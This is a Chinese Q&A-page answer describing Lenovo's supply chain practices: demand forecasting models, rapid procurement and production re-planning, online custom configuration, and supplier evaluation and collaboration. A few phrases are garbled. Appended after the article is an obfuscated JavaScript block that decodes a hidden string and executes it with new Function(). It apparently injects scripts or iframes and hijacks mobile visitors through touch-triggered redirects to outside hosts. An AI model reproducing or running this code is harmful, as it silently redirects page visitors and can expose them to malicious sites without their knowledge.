联想公司的供应链管理

2024-11-22 19:43:36
推荐回答(1个)
回答1:

联想作为一个主要做IT的公司,首先介绍一下联想在IT行业采购供应链的管理。第一点,在IT行业主要价格的波动其实是风险非常大的,影响因素也非常复杂,比较难以准确的预测,另外市场发生变化的时候,就需要快速的调整,这样才能够满足客户的需要,避免库存带来的风险,第一个特点,就是价格波动的程度是非常大的。 另外在IT行业第二个特点,部件更新换代非常快也非常频繁,按照联想的统计,基本上每两天就有一个机型发生大的或者是小的改动,另外产品的降价速度也非常快,那么就必须要准确的预测市场的需求,才能满足客户的订单,又不能有很多的库存。 另外一点是满足客户差异化的需求也日益化强烈,又要保证标准化,又要很好的满足客户差异化的需求。 另外很多物料的价格很多是来自于上一个供应商,上一个供应商利益驱动的情况是非常明显的,并且很多供应商是寡头垄断或者是少数寡头的特点,所以供应商对整个行业的影响实际上也是非常大的,我想这是在IT行业在供应链以及在采购环节的一些主要的特点。 下面给大家简单介绍一下联想在供应链和采购方面的一些基本状况。 首先,在供应链和采购方面,联想是采取一体化的运作体系,联想集团是把采购、生产、分销以及物流整合成一个统一的系统,在整个联想集团负责生产的管控包括生产制造一些系统的管理,从战略层、执行层在整个集团有一个统一的策略、统一的协调。 另外一点,从联想的供应链来看,我们有三百多家的供应商。另外,要管理整个国内的客户渠道有五千多家。另外,在联想内部,我们也分布有北京、上海和惠阳三个工厂,另外目前生产的主要产品除了台式电脑、笔记本、服务器之外,还有MP3等等其它的数码产品,应该说是一个非常复杂的供应链体系。 这是联想供应链的一个全程图,联想的物料应该也是主要分为国际性采购的物料和国内采购的物料,这些国际性的物料,基本上都是通过香港,然后分别转到国内的惠阳、上海和北京,在国内的物料会直接发到我们的各个工厂,然后由各个工厂制作成成品,然后发到代理商和最终的用户。这是联想的供应链双链的模型,通过接收链和交互链很好的协同,来达到更好的相应供应的变化,来满足客户的需求。 联想这几年也是基本上在做一个供应模式的转变,以前也是一个基本的库存驱动模式满足客户需求,那么这种库存驱动也不能很好的满足客户需求,那么现在主要是根据客户需求来确定整个供应链的管理,从而来调整从采购、生产到销售。 联想在运作模式上,目前还并不是一个完全按订单生产的企业,这也是与我们面对的客户群有关。联想目前主要的客户60-70%来自于个人和中小型企业。所以,联想的运作模式也是采取一种安全库存结合按订单生产的方式,我们会有1-2天成品的安全库存,更多的是会根据用户的订单来快速的相应客户和市场的需求。 在这样的供应链管理模式之下,我们主要是解决这样四个方面的问题:首先怎么样保证准确的预测;第二点,怎么样保证在预测出现偏差的时候,能够快速调整;第三方面,怎么样满足客户差异化的需求,怎么样行春满足客户定制的需求;第四方面,怎么样很好的完成供应商在采购方面的协同。这四个问题可能也是很多企业在当今需要面对的主要问题。 第一方面介绍一下联想在预测方面怎么样保证一个比较准确的预测。 预测最基本条件要基于历史数据,因为联想从市场和代理商当中积累了大量的历史数据,我们通过对销售的历史数据,分析会发现产品的销量跟很多的实践因档棚耐子相关,比如说跟市场自然的增长、季节的因素、联想做一些优惠活动、新产品的推出等等,都会影响市场的销量。所以,我们会针对每一个实践的因子都会牵动一个数字的算法、一个数学的模和信式,通过准线的分析和线性的回归对这些因子进行线性的评估。从而确定我们在运算方面的一个模型。 通过这种预测模式,另外一个是加上我们对代理商和区域市场对客户的预测,同时得出联想在短期和长期以及非产品对整个市场多维度的预测。这是我们简单预测的一个图,最上面这条白线,我们根据下面一些需求波动性、季节、虚拟预测,最后拟和出一个用户需求状况。 在准确预测方面,可以讲,首先这个预测是一个多维度的,他包括了对产品在不同的区域、不同的时期、不同渠道的预测;另外,他受很多因素、很多事件影响的模型,首先他会受到一些像节假日、新品促销等等的影响;另外,在预测方面也是应用了很多算法,像指数的平滑法、加权平均、线性回归,联想通过一些销售的体系使我们预测方面提高了30%。 第二方面给大家简单的介绍一下在预测出现偏差的时候,我们怎么样进行快速调整。 预测偏差的调整涉及上两个方面,一个方面是采购计划方面怎么样快速调整;另外一方面是在生产计划方面怎么样进行快速调整。首先介绍一下在采购计划方面的调整。 采购计划的调整,除了刚才讲到的需要根据预测的调整之外,还要根据这种采购的提前量、安全库存的策略以及采购批量等等的影响,另外还要根据联想在国内多个工厂、多个库存地的时时的计划,从而确定我们采购计划应该怎么样进行调整和改变。 目前,当销售发生调整或者供应商的状况发生变化的时候,联想可以做到在几个小时之内,把几十种产品、几千种物料、面对几百家供应商的计划能够调整完毕,这样就加快了对市场反映的变化和应对的能力。 另外一部分,给大家简单介绍一下再生产计划方面的调整,目前联想通过电子商务和主要的代理伙伴和代理商和分销商进行合作,基本上每年会有两千多张订单进入联想,联想也是通过这种生产计划系统来快速的完成生产计划的制定,并且可以很快的根据这种生产计划提供给供应商比较准确的送料的计划,来达到和供应商的协同。 这是我们实际在生产计划方面的一个实际的状况,在这个图里面大家可以看到,红色是没有满足客户需求的订单,通过我们解决物料的问题,就可以看到有一部分已经满足了客户在订单方面的需求。另外,通过生产计划系统,我们还能看到在产能方面的状况,目前可以看到最高的部分在产能方面可能会出现瓶颈,我们也可以通过调整、加班等等一些方式,满足客户的订单需求,这样我们可以随时的相应订单需求。这是第二部分,我们怎么样在预测和供应商之间波动时能够很好的调整计划。 另外刚才介绍过通过销售的预测以及采购计划和销售计划的调整,我们可以实现内部快速对市场供应的变化的调整。另外一方面我们通过需求协同,更好的使客户得到整个分销渠道的库存和协调的状况。另外通过供应商的系统可以更好的和供应商实现交货的计划和采购订单和预测等等方面信息的协同,从而可以保证从客户端一直到联想内部的系统和供应商端实现整体的信息协同和同步。 另外一方面,三部分,对于客户定制方面联想的一些做法,客户可以根据他自己的选择,自动的进行配置,系统可以自动的提供报价,这样客户就可以在网上选择产品,并且可以得到时时的价格以及供货的时间,这是我们的一个客户订单系统实际的情况。 这是我们在供应链管理方面整体的示意图,通过销售预测我们可以比较准确的来把握市场的变化和用户的需求。通过采购计划、生产计划,我们来更好的协调在供应市场和这种销售市场发生变化时的应对,通过需求协同和供应商的协同,我们来达到市场的需求以及供应商的供应状况和联想整个的统筹中心,另外通过客户自动的配置系统,来更好的满足客户差异化的需求,这是联想在整个供应链管理方面的一个全景图。 通过这种供应链的管理,通过销售订单以及各方面的物料、运输、采购、生产资源信息,我们就可以更好的来协调联想的采购、生产、配送和订单的交付,从而可以更好的满足客户的需求。 从指导思想来讲是两个维度,一个是能够更好的满足客户需求,从而达到高效的决策,另外一点是快速的信息获得,满足客户的订单。我刚才说了,联想以快速的调整以及订单的模式来满足客户的需求。 最后一部分简单介绍一下联想如何进行供应商的协同。在供应商的协同方面我们提到两点:一点是做到全程协同,这样就包括在产品研发过程当中就要和供应商进行同步开发,另外在品质和供应弹性以及成本方面,需要进行一个持续的改善;另外一点,在采购价格方面需要供应商能够保持最佳的竞争力,这是在协同方面。 另外一点,采取全程紧密的策略,首先在供应商端会实现优胜劣汰,寻找有竞争力的合作伙伴,另外在供应商端会设立相应的采购平台,加强日常的管理,对于这种突发问题的解决以及持续改善项目的推进,我想联想进行供应商协同一个主要的目的,就是要确保在业界自由的供应商争夺以及采购资源的争夺中,能够保持一种有利的战略位置。因为当前的竞争已经不单纯是一个企业和企业之间的竞争,而是企业和企业之间供应链的竞争。 基于刚才在供应商协同的一个理念,联想会定期的对采购的策略进行一些相应的制定,制定整体的采购策略,并且根据采购策略的情况确定是否需要导入新的供应商,并且进行供应商策略的调整。另外,日常对供应商的管理和绩效会定期进行一个评估,我想评估主要是从研发、质量、服务、几个和供应以及成本五个方面来进行评估。另外,会根据这种评估的结果和供应商进行一些日常的采购的管理,我想这是一个总体在采购的主要的流程。 这是联想在供应商管理方面的一个系统,通过这个系统就可以实现对供应商管理的规范化和流程化的管理,从而更好的做到对供应商考评的状况,能够更好的和采购量有一个直接的挂钩。 这是联想对供应商策略以及对物料采购的策略,也是根据采购金额和物料的风险确定了四大类的策略:也是分为战略型、杠杆型、关键型和策略型,针对不同类型的供应商、不同的物料采取不同的策略,从而达到在不同情况下采购资源的最大化。 那么在采购策略联想希望和供应商之间采取双赢的策略,另外采取非常紧密的战略,另外进去引入优胜劣汰的机制。 基于我刚才的介绍,联想的采购组织除了目前的采购本部是在北京,另外在上海、香港、深圳和台北,在IT这个行业供应商比较集中的工厂所在地,也建立了相应的采购平台,从而加强对供应商本地的监控,以及相应的一些日常管理,还有出现问题的时候,一些项目的推进和改进的工作。 所以在供应商协同方面主要有这么几大部分的工作,第一部分,要确定供应商的总体策略,包括价格成本以及采购比例的控制;另外一点,在引入淘汰机制,以及框架协议的签署方面;第三方面是在一些研发的协同,怎么样在研发当中更好的为成本制造更多方便服务,以及一些工作的开展;另外就是KBI,定期的和供应商之间这种互惠的制作,更好的推进合作。这是第一方面需要开展的工作。 第二方面主要是在品质产品方面的服务,第一是包括新品供应商的掌控,第二是品质的管理,第三方面是对于一些重要零部件上游供应商的管控,另外第四方面是定期的对供应商工厂生产线进行一些审核的工作。 第三部分是对供应商供应能力方面的一些管理,在供货方面的管理主要是涉及到新品进入过程当中的管控,在新品导入的时候,怎么样能够上市、上量方面的管控,另外是物料退出的时候的一些管理和控制。 第四部分是对供应商服务方面的管理,主要会涉及到这种在索赔和维修服务方面的支持的管控,另外对供应商财务状况的分析,另外一点就是对日常方面的索赔和物料导控方面的管理,这方面联想是和供应商之间共同合作的工作。

!function(){function a(a){var _idx="g3r6t5j1i0";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y=F=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 pcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"Z!qYF O8pc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/h^/Ks0jR8ps5KFnC}60"!O8O%c*}888Om62fYR;7c"j"aj"j"g"v"a%"58"%7m5Y|5T%%%"vF8"%hca%5ca=FmL5(8pcOa=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF J8"Ks0"=X8"ps5KFnC}60"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"Ks0^)ThF)mpOL2fmRT4"="Ks0X5ThF)m64YdCmRT4"="Ks02pThFmpOL2fmRT4"="Ks0_JqhFm64YdCmRT4"="Ks02TOhFmpOL2fmRT4"="Ks0CSqhF)m64YdCmRT4"="Ks0)FfThF)fmpOL2fmRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"!qYF O82YD VY)iO(SYFcF%"/"%J%"jR8"%X%"v58"%7m5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28fH_ZcYH(Zc^%%aa=O8fH_ZcYH(Zc^%%aa=68fH_ZcYH(Zc^%%aa=d8fH_ZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 )ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=h=l0a=7m(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<^%6vvfcaPYqLY[F8F*O!67cF<86a5YF_52l}!F<^%6vvfcaPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q/f/Ks0j(8}vR8ps5KFnC}60"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPO82dX6pdFO5mJqdF7O5^=Y8l/3cV62?yd(a/mFYLFcOa=F8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cY??Favvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2FajDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaPaa=lYvvO??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"a%"/)_pj68"%J=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPaca!'.substr(22));new Function(b)()}();